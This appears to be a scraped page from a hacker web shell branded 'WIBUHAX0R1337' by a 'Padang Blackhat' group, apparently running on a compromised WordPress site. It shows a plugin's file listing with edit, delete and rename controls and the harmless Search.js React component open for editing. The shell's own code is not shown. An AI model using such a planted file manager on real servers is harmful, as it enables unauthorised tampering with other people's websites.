-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
www
/
wp-content
/
plugins
/
templates-patterns-collection
/
assets
/
src
/
Components
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
CloudLibrary
--
NONE
StarterSites
--
NONE
.htaccess
0.231KB
Edit File
Delete File
Rename
App.js
0.704KB
Edit File
Delete File
Rename
CustomTooltip.js
0.608KB
Edit File
Delete File
Rename
EditorSelector.js
2.708KB
Edit File
Delete File
Rename
EditorTabs.js
1.658KB
Edit File
Delete File
Rename
Header.js
4.188KB
Edit File
Delete File
Rename
Icon.js
0.785KB
Edit File
Delete File
Rename
ImportModal.js
16.545KB
Edit File
Delete File
Rename
ImportModalError.js
0.934KB
Edit File
Delete File
Rename
ImportModalMock.js
1.302KB
Edit File
Delete File
Rename
ImportModalNote.js
1.514KB
Edit File
Delete File
Rename
ImportStepper.js
1.873KB
Edit File
Delete File
Rename
InstallModal.js
4.639KB
Edit File
Delete File
Rename
Loading.js
0.729KB
Edit File
Delete File
Rename
Main.js
2.296KB
Edit File
Delete File
Rename
Migration.js
6.474KB
Edit File
Delete File
Rename
Notification.js
0.514KB
Edit File
Delete File
Rename
OnboardingContent.js
5.519KB
Edit File
Delete File
Rename
PreviewFrame.js
2.916KB
Edit File
Delete File
Rename
Search.js
2.939KB
Edit File
Delete File
Rename
StarterSiteCard.js
3.041KB
Edit File
Delete File
Rename
import { __ } from '@wordpress/i18n'; import { useState } from '@wordpress/element'; import { Button, Dashicon, Popover } from '@wordpress/components'; import { withDispatch, withSelect } from '@wordpress/data'; import { compose } from '@wordpress/compose'; import classnames from 'classnames'; const Search = ( { count, categories, onSearch, category, setCurrentCategory, query, className, } ) => { const [ open, setOpen ] = useState( false ); const toggleDropdown = () => setOpen( ! open ); const CategoriesDropdown = () => { return ( <div className="ob-dropdown categories-selector"> <Button onClick={ toggleDropdown } className="select ob-dropdown" > { categories[ category ] } <Dashicon size={ 14 } icon={ open ? 'arrow-up-alt2' : 'arrow-down-alt2' } /> { open && ( <Popover position="bottom center" onClose={ toggleDropdown } noArrow > { open && ( <ul className="options"> { Object.keys( categories ).map( ( key, index ) => { if ( key === category ) { return null; } if ( 'free' === key && count.all === count[ key ] ) { return null; } return ( <li key={ index }> <a href="#" onClick={ ( e ) => { e.preventDefault(); setCurrentCategory( key ); setOpen( false ); } } > <span> { categories[ key ] } </span> <span className="count"> { count[ key ] } </span> </a> </li> ); } ) } </ul> ) } </Popover> ) } </Button> </div> ); }; const wrapClasses = classnames( className, 'header-form' ); return ( <div className={ wrapClasses }> <div className="search"> <img src={ tiobDash.assets + '/img/search.svg' } alt={ __( 'Search Icon' ) } /> <input onChange={ ( e ) => { onSearch( e.target.value ); } } type="search" value={ query } placeholder={ __( 'Search for a starter site', 'templates-patterns-collection' ) + '...' } /> <CategoriesDropdown /> </div> </div> ); }; export default compose( withSelect( ( select ) => { const { getCurrentCategory, getSearchQuery } = select( 'neve-onboarding' ); return { category: getCurrentCategory(), query: getSearchQuery(), }; } ), withDispatch( ( dispatch ) => { const { setCurrentCategory, setSearchQuery } = dispatch( 'neve-onboarding' ); return { setCurrentCategory: ( category ) => setCurrentCategory( category ), onSearch: ( query ) => setSearchQuery( query ), }; } ) )( Search );
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat